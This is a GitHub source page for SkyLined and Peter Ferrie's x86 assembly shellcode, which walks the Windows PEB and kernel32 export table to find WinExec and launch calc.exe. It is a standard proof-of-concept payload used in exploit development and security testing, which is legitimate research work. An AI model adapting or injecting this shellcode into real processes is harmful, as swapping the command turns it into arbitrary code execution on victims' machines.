-
Notifications
You must be signed in to change notification settings - Fork 86
/
Copy pathw32-exec-calc-shellcode.asm
107 lines (104 loc) · 4.33 KB
/
w32-exec-calc-shellcode.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever <[email protected]>
; and Peter Ferrie <[email protected]>
; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
; Windows x86 nul-free shellcode that executes calc.exe.
; Works in any x86 application for Windows 5.0-6.3 all service packs.
BITS 32
SECTION .text
%include 'type-conversion.asm'
; WinExec *requires* 4 byte stack alignment
%ifndef PLATFORM_INDEPENDENT
%undef USE_COMMON ; not allowed as user-supplied
global _shellcode ; _ is needed because LINKER will add it automatically.
_shellcode:
%ifdef FUNC
PUSHAD
%endif
%ifdef STACK_ALIGN
%ifdef FUNC
MOV EAX, ESP
AND ESP, -4
PUSH EAX
%else
AND ESP, -4
%endif
%endif
XOR EDX, EDX ; EDX = 0
%elifndef USE_COMMON
%ifdef FUNC
PUSHAD
%endif
DEC EDX
%endif
%ifndef USE_COMMON
PUSH EDX ; Stack = 0
PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc", 0
PUSH ESP
POP ECX ; ECX = &("calc")
PUSH EDX ; Stack = 0, "calc", 0
PUSH ECX ; Stack = &("calc"), 0, "calc", 0
; Stack contains arguments for WinExec
MOV ESI, [FS:EDX + 0x30] ; ESI = [TEB + 0x30] = PEB
%else
PUSH ECX ; Stack = &("calc"), 0, "calc", 0
; Stack contains arguments for WinExec
MOV ESI, [FS:EDX + 0x2F] ; ESI = [TEB + 0x30] = PEB (EDX=1)
%endif
MOV ESI, [ESI + 0x0C] ; ESI = [PEB + 0x0C] = PEB_LDR_DATA
MOV ESI, [ESI + 0x0C] ; ESI = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
LODSD ; EAX = InLoadOrder[1] (ntdll)
MOV ESI, [EAX] ; ESI = InLoadOrder[2] (kernel32)
MOV EDI, [ESI + 0x18] ; EDI = [InLoadOrder[2] + 0x18] = kernel32 DllBase
; Found kernel32 base address (EDI)
%ifdef USE_COMMON
MOV DL, 0x50
JMP shellcode_common
%else
MOV EBX, [EDI + 0x3C] ; EBX = [kernel32 + 0x3C] = offset(PE header)
; PE header (EDI+EBX) = @0x00 0x04 byte signature
; @0x04 0x18 byte COFF header
; @0x18 PE32 optional header (EDI + EBX + 0x18)
MOV EBX, [EDI + EBX + 0x18 + 0x60] ; EBX = [PE32 optional header + offset(PE32 export table offset)] = offset(export table)
; Found export table offset (EBX)
MOV ESI, [EDI + EBX + 0x20] ; ESI = [kernel32 + offset(export table) + 0x20] = offset(names table)
ADD ESI, EDI ; ESI = kernel32 + offset(names table) = &(names table)
; Found export names table (ESI)
MOV EDX, [EDI + EBX + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table)
; Found export ordinals table (EDX)
find_winexec_x86:
; speculatively load ordinal (EBP)
MOVZX EBP, WORD [EDI + EDX] ; EBP = [kernel32 + offset(ordinals table) + offset] = function ordinal
INC EDX
INC EDX ; EDX = offset += 2
LODSD ; EAX = &(names table[function number]) = offset(function name)
CMP [EDI + EAX], DWORD B2DW('W', 'i', 'n', 'E') ; *(DWORD*)(function name) == "WinE" ?
JNE find_winexec_x86 ;
MOV ESI, [EDI + EBX + 0x1C] ; ESI = [kernel32 + offset(export table) + 0x1C] = offset(address table)] = offset(address table)
ADD ESI, EDI ; ESI = kernel32 + offset(address table) = &(address table)
ADD EDI, [ESI + EBP * 4] ; EDI = kernel32 + [&(address table)[WinExec ordinal]] = offset(WinExec) = &(WinExec)
CALL EDI ; WinExec(&("calc"), 0);
%ifndef PLATFORM_INDEPENDENT
%ifdef FUNC
POP EAX
POP EAX
%ifdef STACK_ALIGN
POP ESP
%endif
POPAD
RET
%endif
%elifdef FUNC
POP EAX
POP EAX
POPAD
%ifdef STACK_ALIGN
POP ESP
%endif
%ifdef CLEAN
XCHG EDX, EAX
POP EAX
%endif
RET
%endif
%endif